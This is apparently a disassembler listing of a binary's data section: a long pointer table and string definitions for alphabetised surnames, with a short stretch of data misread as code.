dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" ; --------------------------------------------------------------------------- fsubr st, st(3) inc edx add al, dl jmp short loc_42E6E1 ; --------------------------------------------------------------------------- align 10h enter 42EBh, 0 shr bl, 42h add [eax-53FFBD15h], bh jmp short loc_42E6F1 ; --------------------------------------------------------------------------- align 10h mov al, ds:980042EBh loc_42E6B5: ; CODE XREF: ___:0042E6C8j jmp short loc_42E6F9 ; --------------------------------------------------------------------------- align 4 dd offset aTudge ; "Tudge" ; --------------------------------------------------------------------------- mov bl, ch inc edx add [eax+780042EBh], al jmp short loc_42E709 ; --------------------------------------------------------------------------- align 4 jo short loc_42E6B5 inc edx add [eax-15h], ch inc edx add [ebx+ebp*8+42h], bl add [ebx+ebp*8+42h], dl add [eax-15h], cl inc edx add [eax-15h], al inc edx add [eax], bh loc_42E6E1: ; CODE XREF: ___:0042E69Dj jmp short loc_42E725 ; --------------------------------------------------------------------------- align 4 sub bl, ch inc edx add [eax], ah jmp short loc_42E72D ; --------------------------------------------------------------------------- align 4 sbb bl, ch inc edx add [eax], dl loc_42E6F1: ; CODE XREF: ___:0042E6ADj jmp short loc_42E735 ; --------------------------------------------------------------------------- align 4 dd offset aWaite ; "Waite" db 0 ; --------------------------------------------------------------------------- loc_42E6F9: ; CODE XREF: ___:loc_42E6B5j jmp short loc_42E73D ; --------------------------------------------------------------------------- align 4 dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" db 0D8h ; --------------------------------------------------------------------------- loc_42E709: ; CODE XREF: ___:0042E6C5j jmp far ptr 42h:0EACC0042h ; --------------------------------------------------------------------------- dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" db 88h ; --------------------------------------------------------------------------- loc_42E725: ; CODE XREF: ___:loc_42E6E1j jmp far ptr 42h:0EA800042h ; --------------------------------------------------------------------------- db 74h ; --------------------------------------------------------------------------- loc_42E72D: ; CODE XREF: ___:0042E6E9j jmp far ptr 42h:0EA680042h ; --------------------------------------------------------------------------- pop esp loc_42E735: ; CODE XREF: ___:loc_42E6F1j jmp far ptr 42h:0EA500042h ; --------------------------------------------------------------------------- db 44h ; --------------------------------------------------------------------------- loc_42E73D: ; CODE XREF: ___:loc_42E6F9j jmp far ptr 42h:0EA380042h ; --------------------------------------------------------------------------- dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042E830o align 10h aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042E82Co align 4 aZurn db 'Zurn',0 ; DATA XREF: ___:0042E828o align 10h aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042E824o aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042E820o align 10h aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042E81Co aZegans db 'Zegans',0 ; DATA XREF: ___:0042E818o align 10h aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042E814o align 4 aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042E810o align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042E80Co aYu db 'Yu',0 ; DATA XREF: ___:0042E808o align 10h aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042E804o align 4 aYoo db 'Yoo',0 ; DATA XREF: ___:0042E800o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042E7FCo align 4 aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042E7F8o align 10h aYesson db 'Yesson',0 ; DATA XREF: ___:0042E7F4o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042E7F0o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042E7ECo align 4 aYates db 'Yates',0 ; DATA XREF: ___:0042E7E8o align 10h aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042E7E4o aYankee db 'Yankee',0 ; DATA XREF: ___:0042E7E0o align 10h aYamane db 'Yamane',0 ; DATA XREF: ___:0042E7DCo align 4 aYacono db 'Yacono',0 ; DATA XREF: ___:0042E7D8o align 10h aVotey db 'Votey',0 ; DATA XREF: ___:0042E7D4o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042E7D0o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042E7CCo align 10h aWoods db 'Woods',0 ; DATA XREF: ___:0042E7C8o align 4 aWooden db 'Wooden',0 ; DATA XREF: ___:0042E7C4o align 10h aWoo db 'Woo',0 ; DATA XREF: ___:0042E7C0o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042E7BCo align 10h aWolk db 'Wolk',0 ; DATA XREF: ___:0042E7B8o align 4 aVoigt db 'Voigt',0 ; DATA XREF: ___:0042E7B4o align 10h aViviani db 'Viviani',0 ; DATA XREF: ___:0042E7B0o aVitali db 'Vitali',0 ; DATA XREF: ___:0042E7ACo align 10h aWilson db 'Wilson',0 ; DATA XREF: ___:0042E7A8o align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042E7A4o aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042E7A0o align 10h aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042E79Co align 4 aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042E798o align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042E794o align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042E790o aWilder db 'Wilder',0 ; DATA XREF: ___:0042E78Co align 4 aVignola db 'Vignola',0 ; DATA XREF: ___:0042E788o aViens db 'Viens',0 ; DATA XREF: ___:0042E784o align 4 aWiener db 'Wiener',0 ; DATA XREF: ___:0042E780o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042E77Co aViano db 'Viano',0 ; DATA XREF: ___:0042E778o align 4 aViana db 'Viana',0 ; DATA XREF: ___:0042E774o align 10h aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042E770o align 4 aWhitla db 